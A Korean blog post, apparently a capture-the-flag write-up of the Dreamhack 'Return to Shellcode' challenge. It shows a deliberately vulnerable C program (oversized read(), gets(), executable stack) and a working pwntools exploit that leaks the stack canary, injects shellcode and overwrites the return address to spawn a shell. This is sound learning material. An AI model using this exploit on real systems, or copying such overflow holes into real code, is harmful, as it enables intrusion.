Information Security

[Dreamhack] Return to Shellcode 본문

INTERLUDE/System Hacking

[Dreamhack] Return to Shellcode

sohexz 2022. 11. 10. 19:14

https://dreamhack.io/wargame/challenges/352/

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

 

문제 파일을 확인해보자

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

컴파일한 후 실행해보자

 

간단 분석

 buf의 주소: 0x7ffe6f8baaf0

rbp와 buf의 거리: 80

1. read(0, buf, 0x100) - > buf 부분에 0x50보다 큰 0x100을 입력 가능 ->  버퍼오버플로우 가능

2. gets 함수에서의 buf에 값을 입력 -> gets함수는 입력하는 문자열의 길이를 확인하지 않음 -> 버퍼오버플로우 가능

 

풀이

1. buf의 주소를 알고 buf를 shellcode와 canary의 null을 덮을 때까지 채움.

2. gets에서 buf에는 shellcode를, canary를 입력받은 그대로 전달하고 sfp를 채운뒤, ret를 buf의 주소로 옮겨 shellcode를 실행시킴

 

from pwn import *
#p = process('./r2s')
p = remote('host3.dreamhack.games',15482)

context.arch = 'amd64'

p.recvuntil('Address of the buf: ')
ret = int(p.recv(14),16)
#print(hex(ret))

payload = asm(shellcraft.sh())
payload = payload.ljust(89,b'\x90')
p.sendafter('Input: ',payload)
p.recvuntil(payload)
canary = b'\x00'+p.recv(7)

payload = payload[:-1]
payload += canary
payload += b'A'*8
payload += p64(ret)

#print(payload)
#print(len(payload))

p.recv()
p.sendline(payload)
p.interactive()

 

 

참고 블로그

https://fascination-euna.tistory.com/entry/Dreamhack-Exploit-Tech-Return-to-Shellcode

 

[Dreamhack] Exploit Tech: Return to Shellcode

Return to Shellcode Exploit Tech: Return to Shellcode에서 실습하는 문제입니다. # 문제 분석 - Return to Shellcode 반환 주소를 shellcode가 저장된 곳으로 우회하여 프로그램의 실행 흐름을 조작하는 것 해당 문제

fascination-euna.tistory.com

https://thfist-1071.tistory.com/entry/Dreamhack-Wargame-Canary%EC%99%80-Return-to-Shellcode-Write-up

 

[Dreamhack Wargame] Canary와 Return to Shellcode Write up

아무래도 기억력이 나쁜 편이라 계속해서 썼던 코드를 잊어버리네요. 그래서 블로그를 시작했지만 암튼, 문제 풀이를 해보겠습니다. 문제 이번 문제도 사실 풀이는 이미 이전에 있습니다. 그래

thfist-1071.tistory.com

 

'INTERLUDE > System Hacking' 카테고리의 다른 글

[Dreamhack] basic_rop_x86  (0) 2022.11.17
[Dreamhack] out_of_bound  (0) 2022.11.15
[Dreamhack] ssp_001  (0) 2022.11.03
[Dreamhack] Return Address Overwrite  (1) 2022.11.01
[Dreamhack] shell_basic  (0) 2022.09.29